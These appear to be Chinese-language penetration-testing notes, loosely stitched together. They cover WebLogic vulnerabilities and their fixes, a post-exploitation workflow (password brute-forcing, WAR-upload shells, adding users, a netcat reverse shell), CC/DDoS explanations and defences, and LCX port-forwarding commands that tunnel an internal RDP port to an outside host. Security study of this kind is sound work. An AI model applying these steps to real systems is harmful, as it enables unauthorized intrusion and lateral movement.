Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更 准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法二采用的是改后辍的方式,修复步骤如 下:
漏洞成因
通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。
漏洞修复
方法一:
使用官方通告中的补丁
方案二:
漏洞成因
由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包。
漏洞修复
防火墙设置端口过滤,也可以设置只允许访问后台的IP列表,避免后台弱口令。
Weblogic远程代码执行漏洞( CVE-2020-2546、CVE-2020-2551)
CVE-2020-2546
该漏洞通过T3协议实现利用、攻击者可通过此漏洞实现远程代码执行,CVSS评分均为9.8。利用复杂度低。
CVE-2020-2551
该漏洞可以绕过官方在2019年10月份发布的最新安全补丁。攻击者可以通过IIOP协议远程访问Weblogic Server服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。CVSS评分9.8。
当我们拥有客户授权的情况下,一般采取nmap,masscan甚至是Python自己编写的端口扫描工具,各有优缺。
发现weblogic服务,第一反应是常见的能getshell的漏洞
比如后台弱口令,密码是base64编码的,可以用burpsuite增加编码参数,也可以用网上开源的一些工具进行爆破,然后war包部署拿shell。
再比如对weblogic的T3协议,反序列化命令执行,直接执行系统命令。
像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验,就像上次参加一个众测,网站出现了action结尾的网址时,立马直接struts2命令执行扫了一下直接getshell菜刀连上,高危漏洞吧,当然了,跟大佬们一起挖洞众测,这么简单的漏洞,比的就是速度了,后面有空会分享一些挖洞的经验,这里暂且不提。
weblogic,没有打补丁,也没有禁用t3协议。我们可以使用工具进行反序列化利用。
然后执行一系列命令查看目标环境
常规套路,net user
增加用户,给权限等,注意如果不是公网的服务器,Web服务端口是映射出来的化,我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具,这里用瑞士军刀演示。
漏洞靶场
https://github.com/vulhub/vulhub/tree/master/weblogic
一些weblogic默认密码
http://cirt.net/passwords?criteria=weblogic
CC攻击是一种以网站页面为攻击目标du的应用层攻击,攻击时选择服务器开放的页面中需要较多资源开销的应用。例如占用大量CPU资源进行运算或需要大量访问数据库的应用。主要是以.asp、.jsp、.php、.cgi等结尾的页面资源。
CC防护上,经济实力好的可以选择购买DDOS高防设备,因为CC攻击也属于DDOS攻击的一种。经济实力一般,可以考虑安装防护软件。安全狗或者360网站卫士。个人趋向于安全狗,同时安装服务器安全狗和网站安全狗可以有效地防护CC攻击。可以有效地防止服务器因为受到CC攻击而产生CPU使用率100%的情况出现。
攻DDOS攻击全程为:分布式拒绝服务攻击,是指击者利用大量“肉鸡”对攻击目标发动大量的正常或非正常请求、耗尽目标主机资源或网络资源,从而使被攻击的主机不能为合法用户提供服务。
DDOS攻击的本质是:利用木桶原理,寻找利用系统应用的瓶颈;阻塞和耗尽;当前问题:用户的带宽小于攻击的规模,噪声访问带宽成为木桶的短板。其实cc攻击也属于ddos攻击的一种。 对于这类的攻击,用软硬件结合的方式来防御是最有效的。单独 防御都是蛮吃力的
ddos攻击和cc攻击区别主要是针对对象的不同。是主要针对IP的攻击,而CC攻击的主要是网页。CC攻击相对来说,攻击的危害不是毁灭性的,但是持续时间长;而ddos攻击就是流量攻击,这种攻击的危害性较大,通过向目标服务器发送大量数据包,耗尽其带宽,更难防御。
CTF中的AWD套路:https://www.cnblogs.com/sstfy/p/11853919.html
Windows系统加固:http://luckyzmj.cn/posts/d948fb96.html
Linux系统加固:http://luckyzmj.cn/posts/2969a689.html
https://mp.weixin.qq.com/s/EfzSC979qQqXxXLZsV9LpA
[内网渗透]端口转发工具大合集
https://www.cnblogs.com/-mo-/p/11818890.html
使用LCX进行内网端口转发
第一条命令(lcx -listen 51 3389)(3389可以设置为任意没使用的端口数字)是在具有外网独立IP的计算机上执行(即B机),表示在本机上监听51端口,该端口主要是接受被控制计算机3389端口转发过来的数据;
第二条命令(lcx -slave 218.69.13.35 51 192.168.80.129 3389)表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为218.69.13.35的51端口上;
https://blog.csdn.net/xiaoshan812613234/article/details/38495071
端口转发之 nc
https://www.cnblogs.com/yyxianren/p/11387827.html
HTran的实现端口转发
https://blog.csdn.net/qq_35085863/article/details/77758207